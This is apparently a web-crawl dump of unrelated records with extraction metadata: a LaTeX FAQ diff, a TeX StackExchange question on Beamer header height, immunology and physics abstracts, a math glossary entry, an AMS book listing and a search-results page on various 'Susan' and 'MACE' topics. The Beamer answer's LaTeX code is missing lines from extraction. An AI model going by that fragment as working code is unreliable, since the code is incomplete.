whole thing with - something more modern still; current [psnfss](https://ctan.org/pkg/psnfss) doesn't provide + something more modern still; current [[ctanpkg>psnfss\|psnfss]] doesn't provide - a [times](https://ctan.org/pkg/times) package — the alternative [mathptmx](https://ctan.org/pkg/mathptmx) + a [[ctanpkg>times\|times]] package --- the alternative [[ctanpkg>mathptmx\|mathptmx]] - incorporates Times-like mathematics, and a sans-serif face + incorporates ''Times''-like mathematics, and a sans-serif face - based on Helvetica, but scaled to match Times + based on ''Helvetica'', but scaled to match ''Times'' text rather better. text rather better. + + ----- + + //Source:// [[faquk>FAQ-nonum\|"Missing number, treated as zero"]] + + {{htmlmetatags>metatag-keywords=(LaTeX,errors) + metatag-og:title=("Missing number, treated as zero") + metatag-og:site_name=(FAQ LaTeX francophone) + }}	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.794710099697113, "perplexity": 14878.877907993568}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323588053.38/warc/CC-MAIN-20211027022823-20211027052823-00420.warc.gz"}
https://tex.stackexchange.com/questions/129287/change-headheight-in-beamer-copenhagen	# Change \headheight in Beamer, Copenhagen I want to increase the \headheight in Beamer, Copenhagen. I tried, \setlength{\headheight}{10in}, did not seem to work. • – jub0bs Aug 20 '13 at 21:15 Edit: My previous answer was actually valid with the Sidebar outer theme, it is not as simple with Split, which is used by Copenhagen. It explains the error you got, since \beamer@headheight is not defined in Split. You can use the following \makeatletter \leavevmode% \@tempdimb=2.4375ex% \ifnum\beamer@subsectionmax<\beamer@sectionmax% \multiply\@tempdimb by\beamer@sectionmax% \else% \multiply\@tempdimb by\beamer@subsectionmax% \fi% \fi \ifdim\@tempdimb>0pt% \end{beamercolorbox}% \end{beamercolorbox}% \fi% } \makeatother You define a new length \beamer@headheight you can modify easily. This is a modification of the Split outer theme that will check if your new head height is larger than the one set by Beamer; if it is true, it will use this new length. If not, it won't change anything to avoid to mess up the headline. If you always want to force the headline to have the \beamer@headheight height, you can simply use \makeatletter • I am getting the following error, Undefined control sequence. <argument> \beamer@height \setlength{\beamer@headheight}{10pt} – Sait Aug 21 '13 at 19:06	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5614652037620544, "perplexity": 2049.2005919397475}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243989030.87/warc/CC-MAIN-20210510033850-20210510063850-00424.warc.gz"}
https://rup.silverchair.com/jem/article-standard/146/4/1146/48524/Genetic-control-of-lymphocyte-activation-lack-of	C3H/HeJ mice do not respond to the polyclonal B-cell activator lipopolysaccharide (LPS) from Escherichia coli; this was first described by Sultzer who observed that mice of this strain did not respond to an intraperitoneal (i.p.) injection of LPS as measured by the accumulation of leukocytes in the peritoneal cavity. Neither were C3H/HeJ mice as susceptible to LPS toxcitiy (1). It was later reported that LPS-induced mitogenesis (2,3), adjuvanticity (4), and the appearance of Ia antigens on B lymphocytes as induced by LPS, (5) was also absent in C3H/HeJ mice. However, lymphocytes from these mice respond normally to the polyclonal B-cell activators purified protein derivative of tuberculin (2,6) and dextran sulfate and have also been reported to respond normally to concanavalin A (Con A) (2). Furthermore, the immune responses to sheep erythrocytes (7) and soluble thymus-dependent antigens (4) are normal in C3H/HeJ mice. Unresponsiveness to LPS in C3H/HeJ mice has been found to Be due to a defect in a single gene or a set of linked genes (3,8) which has been mapped between the major urinary protein locus and the locus coding for polysyndactyly on chromosome 4. (1) We have reported that injection of LPS into mice of an LPS-responsive strain causes a shift in the Con A dose-response curve of cultured spleen cells, suppressing the low does response (9). Therefore, we tested the Con A proliferative response in cultures of normal or LPS-activated spleen cells from LPS-responder (C3H/Tif) and LPS-nonresponder (C3H/HeJ) mice. We report here that C3H/HeJ spleen cells respond poorly to low concentrations of Con A (0.05-0.1 μg/ml). Injection of LPS 2 days before culture inhibits the response to low doses of Con A in cultures of C3H/Tif spleen cells but has no inhibitory effect on the dose response profile of C3H/HeJ spleen cells. Furthermore, the low dose Con A response of spleen cells is dependent upon the presence of an Ia-positive cell. (2) The role of Ia-positive cells in the Con A response of C3H/Tif and C3H/HeJ spleen cells is described. This content is only available as a PDF.	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9199695587158203, "perplexity": 9469.318372162952}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572870.85/warc/CC-MAIN-20220817062258-20220817092258-00150.warc.gz"}
https://lexique.netmath.ca/en/invariant/	# Invariant ## Invariant Term that refers to a property or a set that is preserved under the effect of a relation. A set E is generally invariant by a relation if (E) = E. ### Examples Invariant set: Invariant property: • The parallelism of lines in a plane is preserved by a translation in the plane.	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9035158157348633, "perplexity": 641.6379447709198}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780058552.54/warc/CC-MAIN-20210927211955-20210928001955-00100.warc.gz"}
http://www.ams.org/bookstore?fn=20&arg1=memoseries&ikey=MEMO-103-491	New Titles \| FAQ \| Keep Informed \| Review Cart \| Contact Us Quick Search (Advanced Search ) Browse by Subject General Interest Logic & Foundations Number Theory Algebra & Algebraic Geometry Discrete Math & Combinatorics Analysis Differential Equations Geometry & Topology Probability & Statistics Applications Mathematical Physics Math Education Markov Cell Structures near a Hyperbolic Set SEARCH THIS BOOK: Memoirs of the American Mathematical Society 1993; 138 pp; softcover Volume: 103 ISBN-10: 0-8218-2553-4 ISBN-13: 978-0-8218-2553-2 List Price: US$38 Individual Members: US$22.80 Institutional Members: US\$30.40 Order Code: MEMO/103/491 Let $$F:M\rightarrow M$$ denote a self-diffeomorphism of the smooth manifold $$M$$ and let $$\Lambda \subset M$$ denote a hyperbolic set for $$F$$. Roughly speaking, a Markov cell structure for $$F:M\rightarrow M$$ near $$\Lambda$$ is a finite cell structure $$C$$ for a neighborhood of $$\Lambda$$ in $$M$$ such that, for each cell $$e \in C$$, the image under $$F$$ of the unstable factor of $$e$$ is equal to the union of the unstable factors of a subset of $$C$$, and the image of the stable factor of $$e$$ under $$F^{-1}$$ is equal to the union of the stable factors of a subset of $$C$$. The main result of this work is that for some positive integer $$q$$, the diffeomorphism $$F^q:M\rightarrow M$$ has a Markov cell structure near $$\Lambda$$. A list of open problems related to Markov cell structures and hyperbolic sets can be found in the final section of the book. Research mathematicians. • Some linear constructions • Proofs of propositions 2.10 and 2.14 • Some smooth constructions • The foliation hypothesis • Smooth triangulation near $$\Lambda$$ • Smooth ball structures near $$\Lambda$$ • Triangulating image balls • The thickening theorem • Results in P. L. topology • Proof of the thickening theorem • The limit theorem • Construction of Markov cells • Removing the foliation hypothesis • Selected problems	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6784606575965881, "perplexity": 1165.8231192764595}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2013-48/segments/1386164919525/warc/CC-MAIN-20131204134839-00004-ip-10-33-133-15.ec2.internal.warc.gz"}
https://hal-upec-upem.archives-ouvertes.fr/hal-01136333	# Free-path distribution and Knudsen-layer modeling for gaseous flows in the transition regime Abstract : In this paper, we use molecular dynamics (MD) simulations to study the mean free path distribution of nonequilibrium gases in micronanochannel and to model the Knudsen (Kn) layer effect. It is found that the mean free path is significantly reduced near the wall and rather insensitive to flow types (Poiseuille or Couette). The Cercignani relation between the mean free path and the viscosity is adopted to capture the velocity behavior of the special zone in the framework of the extended Navier-Stokes (NS) equations. MD simulations of flows are carried out at different Kn numbers. Results are then compared with the theoretical model. Document type : Journal articles Domain : Complete list of metadata https://hal-upec-upem.archives-ouvertes.fr/hal-01136333 Contributor : Celine Leonard Connect in order to contact the contributor Submitted on : Friday, March 27, 2015 - 6:33:47 AM Last modification on : Tuesday, October 19, 2021 - 4:09:04 PM ### Citation Quy-Dong To, Céline Léonard, Guy Lauriat. Free-path distribution and Knudsen-layer modeling for gaseous flows in the transition regime. Physical Review Online Archive (PROLA), American Physical Society, 2015, 91 (2), pp.023015. ⟨10.1103/PhysRevE.91.023015⟩. ⟨hal-01136333⟩ Record views	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8260316252708435, "perplexity": 3049.2304281874513}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323587608.86/warc/CC-MAIN-20211024235512-20211025025512-00687.warc.gz"}
https://worldwidescience.org/topicpages/s/susan+litgate+mace.html	#### Sample records for susan litgate mace 1. Susan Smith African Journals Online (AJOL) Owner Soveel lesers soveel lokmiddele soveel re- sponse kan gelys word om toegang tot die lees van poësie te registreer. 'n Resep om ge- trou of in ontrou na te volg, bestaan nie. Ge- lukkig nie. Susan Smith se (debuut)bundel lok my helaas nie deur die voorblad as vertrek- punt te neem nie. Aan visuele prikkelkrag gaan. 2. SUSANS With Polarized Neutrons. Science.gov (United States) Wagh, Apoorva G; Rakhecha, Veer Chand; Strobl, Makus; Treimer, Wolfgang 2005-01-01 Super Ultra-Small Angle Neutron Scattering (SUSANS) studies over wave vector transfers of 10(-4) nm(-1) to 10(-3) nm(-1) afford information on micrometer-size agglomerates in samples. Using a right-angled magnetic air prism, we have achieved a separation of ≈10 arcsec between ≈2 arcsec wide up- and down-spin peaks of 0.54 nm neutrons. The SUSANS instrument has thus been equipped with the polarized neutron option. The samples are placed in a uniform vertical field of 8.8 × 10(4) A/m (1.1 kOe). Several magnetic alloy ribbon samples broaden the up-spin neutron peak significantly over the ±1.3 × 10(-3) nm(-1) range, while leaving the down-spin peak essentially unaltered. Fourier transforms of these SUSANS spectra corrected for the instrument resolution, yield micrometer-range pair distribution functions for up- and down-spin neutrons as well as the nuclear and magnetic scattering length density distributions in the samples. 3. Susan Flannery lahkub? / Harro Puusild Index Scriptorium Estoniae Puusild, Harro 2008-01-01 Ameerika teleseriaali "Vaprad ja ilusad" Stephanie Forresteri osatäitja Susan Flannery (1943) on seriaalis mänginud algusest peale s.o. 21 aastat. Lisatud intervjuu näitlejatariga. Sama ka Teleleht nr. 15, lk. 8-9 : ill 4. Unifying Learning Object Repositories in MACE NARCIS (Netherlands) Prause, Christian; Ternier, Stefaan; De Jong, Tim; Apelt, Stefan; Scholten, Marius; Wolpers, Martin; Eisenhauer, Markus; Vandeputte, Bram; Specht, Marcus; Duval, Erik 2007-01-01 Prause, C., Ternier, S., De Jong, T., Apelt, S., Scholten, M., Wolpers, M., et al. (2007). Unifying Learning Object Repositories in MACE. In D. Massart, J.-N. Colin & F. V. Assche (Eds.). Proceedings of the First International Workshop on Learning Object Discovery & Exchange (LODE'07). September, 5. Quality assurance when refitting - SUSAN example International Nuclear Information System (INIS) Gautier, R. 1992-01-01 The most important points of quality assurance for the realisation of the SUSAN project (special independent system for the dissipation of post-decay heat) at the Muehleberg nuclear power station are discussed in this article. The periodic controls and function tests which have been performed since August 1989, confirm the quality of the products used 6. Design package lazy susan for the fuel retrieval system International Nuclear Information System (INIS) TEDESCHI, D.J. 1999-01-01 This is a design package that contains the details for a Lazy Susan style small tool for the Fuel Retrieval System. The Lazy Susan tool is used to help rotate an MCO Fuel Basket when loading it. This document contains requirements, development design information, tests and test reports that pertain to the production of Lazy Susan small tool 7. Carbon monoxide measurements at Mace Head, Ireland Science.gov (United States) Doddridge, Bruce G.; Dickerson, Russell R.; Spain, T. Gerard; Oltmans, Samuel J.; Novelli, Paul C. 1994-01-01 The North Atlantic Ocean is bordered by continents which may each, under the influence of seasonal weather patterns, act as sources of natural and anthropogenic trace gas and particulate species. Photochemically active species such as carbon monoxide (CO) react to form ozone (O3), a species of critical importance in global climate change. CO is sparingly soluble in water, and the relatively long lifetime of CO in the troposphere makes this species an ideal tracer of air masses with origin over land. We have measured CO using a nondispersive infrared gas filter correlation analyzer at Mace Head on the west coast of Ireland nearly continuously since August 9, 1991. Measurements of CO were acquired at 20-sec resolution and recorded as 60-sec averages. Daily, monthly, and diurnal variation data characteristics of CO mixing ratios observed at this site are reported. Depending on source regions of air parcels passing over this site, 60-min concentrations of CO range from clean air values of approximately 90 ppbv to values in excess of 300 ppbv. Data characterizing the correlation between 60-min CO and O3 mixing ratio data observed at this site are reported also. 8. Melt coolability modeling and comparison to MACE test results International Nuclear Information System (INIS) Farmer, M.T.; Sienicki, J.J.; Spencer, B.W. 1992-01-01 An important question in the assessment of severe accidents in light water nuclear reactors is the ability of water to quench a molten corium-concrete interaction and thereby terminate the accident progression. As part of the Melt Attack and Coolability Experiment (MACE) Program, phenomenological models of the corium quenching process are under development. The modeling approach considers both bulk cooldown and crust-limited heat transfer regimes, as well as criteria for the pool thermal hydraulic conditions which separate the two regimes. The model is then compared with results of the MACE experiments 9. Psychoanalytic Interpretation of Blueberries by Susan Gibb Directory of Open Access Journals (Sweden) Maya Zalbidea Paniagua 2014-06-01 Full Text Available Blueberries (2009 by Susan Gibb, published in the ELO (Electronic Literature Organization, invites the reader to travel inside the protagonist’s mind to discover real and imaginary experiences examining notions of gender, sex, body and identity of a traumatised woman. This article explores the verbal and visual modes in this digital short fiction following semiotic patterns as well as interpreting the psychological states that are expressed through poetical and technological components. A comparative study of the consequences of trauma in the protagonist will be developed including psychoanalytic theories by Sigmund Freud, Jacques Lacan and the feminist psychoanalysts: Melanie Klein and Bracha Ettinger. The reactions of the protagonist will be studied: loss of reality, hallucinations and Electra Complex, as well as the rise of defence mechanisms and her use of the artistic creativity as a healing therapy. The interactivity of the hypermedia, multiple paths and endings will be analyzed as a literary strategy that increases the reader’s capacity of empathizing with the speaker. 10. Susan Sontag — A Forgotten Mother? Directory of Open Access Journals (Sweden) Kludia Ziewiec 2013-01-01 Full Text Available The article discusses new and republished translations of Susan Sontag’s work, recently launched by the Karakter publishing house: Regarding the Pan of Others, On Photography, and Against Interpretation and Other Essays. The article focuses on the elements of Sontag’s thought that make her a forgotten mother of feminist and gender theoreticians, as well as such influential critics as Michel Foucault and Roland Barthes. The article points out to continuations of Sontag’s thought in contemporary theoretical and social projects, and to the pertinence of her critical observations on theories based on metaphysics of presence: psychoanalysis, Marxism, or hermeneutics. The article also touches upon history of war photography and related war journalism, and upon the ambivalent quality of imaging of the misery of war. It also present historical and cultural circumstances of the development of Sontag’s thought in the intellectual milieu of New York in the 1960s. The discussion recapitulates the main statements of Sontag’s essays, relating them to a wider theoretical context, which is aimed at a reappraisal of the forgotten intelectual in the history of literature. 11. Meet EPA Scientist Susan Yee, Ph.D. Science.gov (United States) Susan Yee, Ph.D., is an ecologist at EPA's Gulf Ecology Division. She is working on the Puerto Rico Sustainable Communities program, developing decision support tools to evaluate how alternative decisions impact coastal ecosystem goods and services 12. A conversation with Susan Band Horwitz. Science.gov (United States) Horwitz, Susan Band; Goldman, I David 2015-01-01 Susan Band Horwitz is a Distinguished Professor and holds the Falkenstein Chair in Cancer Research at Albert Einstein College of Medicine in New York. She is co-chair of the Department of Molecular Pharmacology and associate director for therapeutics at the Albert Einstein Cancer Center. After graduating from Bryn Mawr College, Dr. Horwitz received her PhD in biochemistry from Brandeis University. She has had a continuing interest in natural products as a source of new drugs for the treatment of cancer. Her most seminal research contribution has been in the development of Taxol(®). Dr. Horwitz and her colleagues made the discovery that Taxol had a unique mechanism of action and suggested that it was a prototype for a new class of antitumor drugs. Although Taxol was an antimitotic agent blocking cells in the metaphase stage of the cell cycle, Dr. Horwitz recognized that Taxol was blocking mitosis in a way different from that of other known agents. Her group demonstrated that the binding site for Taxol was on the β-tubulin subunit. The interaction of Taxol with the β-tubulin subunit resulted in stabilized microtubules, essentially paralyzing the cytoskeleton, thereby preventing cell division. Dr. Horwitz served as president (2002-2003) of the American Association for Cancer Research (AACR). She is a member of the National Academy of Sciences, the Institute of Medicine, the American Academy of Arts and Sciences, and the American Philosophical Society. She has received numerous honors and awards, including the C. Chester Stock Award from Memorial Sloan Kettering Cancer Center, the Warren Alpert Foundation Prize from Harvard Medical School, the Bristol-Myers Squibb Award for Distinguished Achievement in Cancer Research, the American Cancer Society's Medal of Honor, and the AACR Award for Lifetime Achievement in Cancer Research. The following interview was conducted on January 23, 2014. 13. Use MACES IVA Suit for EVA Mobility Evaluations Science.gov (United States) Watson, Richard D. 2014-01-01 The use of an Intra-Vehicular Activity (IVA) suit for a spacewalk or Extra-Vehicular Activity (EVA) was evaluated for mobility and usability in the Neutral Buoyancy Lab (NBL) environment. The Space Shuttle Advanced Crew Escape Suit (ACES) has been modified (MACES) to integrate with the Orion spacecraft. The first several missions of the Orion MPCV spacecraft will not have mass available to carry an EVA specific suit so any EVA required will have to be performed by the MACES. Since the MACES was not designed with EVA in mind, it was unknown what mobility the suit would be able to provide for an EVA or if a person could perform useful tasks for an extended time inside the pressurized suit. The suit was evaluated in multiple NBL runs by a variety of subjects including crewmembers with significant EVA experience. Various functional mobility tasks performed included: translation, body positioning, carrying tools, body stabilization, equipment handling, and use of tools. Hardware configurations included with and without TMG, suit with IVA gloves and suit with EVA gloves. Most tasks were completed on ISS mockups with existing EVA tools. Some limited tasks were completed with prototype tools on a simulated rocky surface. Major findings include: demonstration of the ability to weigh-out the suit, understanding the need to have subjects perform multiple runs prior to getting feedback, determination of critical sizing factors, and need for adjustment of suit work envelop. The early testing has demonstrated the feasibility of EVA's limited duration and limited scope. Further testing is required with more flight like tasking and constraints to validate these early results. If the suit is used for EVA, it will require mission specific modifications for umbilical management or PLSS integration, safety tether attachment, and tool interfaces. These evaluations are continuing through calendar year 2014. 14. Susan swan and the female grotesque Susan swan and the female grotesque Directory of Open Access Journals (Sweden) Suzana Bornéo Funck 2008-04-01 Full Text Available Introduced to readers as “the tallest woman freelance writer in Canada”, Susan Swan belongs to a generation of writers whose experimental, innovative fiction has proved vital in the contemporary project of de/re/constructing narrative practice. Her 1983 novel The Biggest Modern Woman of the World constitutes an excellent example of what critic Linda Hutcheon has termed “historiographic metafiction”—”fiction that is intensely, self-reflexively art, but is also grounded in historical, social, and political realities” (Canadian 13. As a conscious engagement with social and historical contexts, such fiction aims at destabilizing and subverting accepted patterns of belief by reconceptualizing and narrating possible subjectivities. By means of intertextuality, especially parody, it engages in an ideological critique in terms of both sexual and national politics. Introduced to readers as “the tallest woman freelance writer in Canada”, Susan Swan belongs to a generation of writers whose experimental, innovative fiction has proved vital in the contemporary project of de/re/constructing narrative practice. Her 1983 novel The Biggest Modern Woman of the World constitutes an excellent example of what critic Linda Hutcheon has termed “historiographic metafiction”—”fiction that is intensely, self-reflexively art, but is also grounded in historical, social, and political realities” (Canadian 13. As a conscious engagement with social and historical contexts, such fiction aims at destabilizing and subverting accepted patterns of belief by reconceptualizing and narrating possible subjectivities. By means of intertextuality, especially parody, it engages in an ideological critique in terms of both sexual and national politics. 15. International Literacy Crusader: An Interview with Susan Mandel Glazer Science.gov (United States) Ambrose, Valerie K. 2011-01-01 This article presents an interview with Susan Mandel Glazer, past president of both the International Reading Association and the College Reading Association. Dr. Glazer received her doctorate in education from the University of Pennsylvania and her master of arts from New York University. Her most recent books are "Beyond the Looking Glass:… 16. Infrared image background modeling based on improved Susan filtering Science.gov (United States) Yuehua, Xia 2018-02-01 When SUSAN filter is used to model the infrared image, the Gaussian filter lacks the ability of direction filtering. After filtering, the edge information of the image cannot be preserved well, so that there are a lot of edge singular points in the difference graph, increase the difficulties of target detection. To solve the above problems, the anisotropy algorithm is introduced in this paper, and the anisotropic Gauss filter is used instead of the Gauss filter in the SUSAN filter operator. Firstly, using anisotropic gradient operator to calculate a point of image's horizontal and vertical gradient, to determine the long axis direction of the filter; Secondly, use the local area of the point and the neighborhood smoothness to calculate the filter length and short axis variance; And then calculate the first-order norm of the difference between the local area of the point's gray-scale and mean, to determine the threshold of the SUSAN filter; Finally, the built SUSAN filter is used to convolution the image to obtain the background image, at the same time, the difference between the background image and the original image is obtained. The experimental results show that the background modeling effect of infrared image is evaluated by Mean Squared Error (MSE), Structural Similarity (SSIM) and local Signal-to-noise Ratio Gain (GSNR). Compared with the traditional filtering algorithm, the improved SUSAN filter has achieved better background modeling effect, which can effectively preserve the edge information in the image, and the dim small target is effectively enhanced in the difference graph, which greatly reduces the false alarm rate of the image. 17. Resurrecting Absence: Iconic Ghosts in the Poetry of Susan Howe Directory of Open Access Journals (Sweden) Jessica Wilkinson 2011-04-01 Full Text Available The article focuses on the opinions of Susan Howe in her book A Bibliography of the King's Book, Or Eikon Basilike. It cites that Howe's work reflects her evocative visual and verbal landscapes as well as her enthusiasm of leading readers to the obscurities of textual and historical respresentation. It also discusses the strange tyrannical martyrdom of King Charles the First and his publication as well as her understanding of Edward Almack's bibliographical project. 18. AFSC/RACE/MACE: Results of 2014 Pollock Acoustic-Trawl Survey Shelikof- DY1403 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center's (AFSC) Resource Assessment and Conservation Engineering... 19. AFSC/RACE/MACE: Results of 2013 acoustic trawl survey Gulf of Alaska DY1307 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center (AFSC) Resource Assessment and... 20. AFSC/RACE/MACE: Results of 2014 acoustic trawl survey Bogoslof DY1402 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center (AFSC) regularly conduct acoustic-trawl... 1. AFSC/RACE/MACE: Results of 2013 Pollock Acoustic/Trawl Survey Shelikof 201303 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center's (AFSC) Resource Assessment and... 2. AFSC/RACE/MACE: Results of 2016 acoustic trawl survey Shumagins/Sanak DY1602 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center's (AFSC) Resource Assessment and... 3. AFSC/RACE/MACE: Results of 2008 pollock acoustic trawl survey Shelikof DY0803 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center's (AFSC) Resource Assessment and... 4. AFSC/RACE/MACE: Results of 2006 Pollock Acoustic-Trawl Survey Bering Sea- DY0606 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Alaska Fisheries Science Centerâs (AFSC) Midwater Assessment and Conservation Engineering (MACE) Program conduct biennial echo... 5. AFSC/RACE/MACE: Results of 2012 acoustic trawl survey Shelikof DY1203 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center (AFSC) Resource Assessment and... 6. AFSC/RACE/MACE: Results of 2011 acoustic trawl survey Gulf of Alaska DY1103 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Scientists from the Midwater Assessment and Conservation Engineering (MACE) Program of the Alaska Fisheries Science Center (AFSC) Resource Assessment and... 7. Results of MACE tests M0 and M1 International Nuclear Information System (INIS) Spencer, B.W.; Farmer, M.T.; Armstrong, D.R.; Kilsdonk, D.J.; Aeschlimann, R.W.; Fischer, M. 1992-01-01 This document discusses the Melt Attack and Coolability Experiment (MACE) Program underway at Argonne National Laboratory under ACE/EPRI sponsorship. The program addresses the efficacy of water to terminate an accident situation if melt progression were to result in a molten core/concrete interaction (MCCI) in the reactor containment. Large-scale experiments are being conducted in parallel with related modeling efforts, involving the addition of water to an MCI already underway. The experiments utilize UO 2 /ZrO 2 /Zr corium mixtures, direct electrical heating for simulation of decay heating, and various types of concrete basemats. Currently the tests involve 430 kg corium mass, 25 cm depth, in a 50 cm square test section. Test MO was a successful scoping test, but the first full size test, Ml, failed to achieve melt-water contact owing to existence of a preexisting bridge crust of corium charge. A heat flux of 3.5 MW/m 2 was measured in MO which removed energy from the corium pool equivalent to its entire heat of solidification prior to abatement by formation of an interfacial crust. The crust subsequently limited heat extraction to 600 kW/m 2 and less. Both tests MO and Ml revealed physical evidence of large pool swelling events which resulted in extrusion (and ejection) of melt into water above the crust, significantly increasing the overall quench and reducing the remaining melt in contact with the concrete. Furthermore, test Ml provided evidence of occasional ''burst mode'' ablation events and one additional important benefit of overlying water -- aerosol capture 8. Utilizing Chinese Admission Records for MACE Prediction of Acute Coronary Syndrome Directory of Open Access Journals (Sweden) Danqing Hu 2016-09-01 Full Text Available Background: Clinical major adverse cardiovascular event (MACE prediction of acute coronary syndrome (ACS is important for a number of applications including physician decision support, quality of care assessment, and efficient healthcare service delivery on ACS patients. Admission records, as typical media to contain clinical information of patients at the early stage of their hospitalizations, provide significant potential to be explored for MACE prediction in a proactive manner. Methods: We propose a hybrid approach for MACE prediction by utilizing a large volume of admission records. Firstly, both a rule-based medical language processing method and a machine learning method (i.e., Conditional Random Fields (CRFs are developed to extract essential patient features from unstructured admission records. After that, state-of-the-art supervised machine learning algorithms are applied to construct MACE 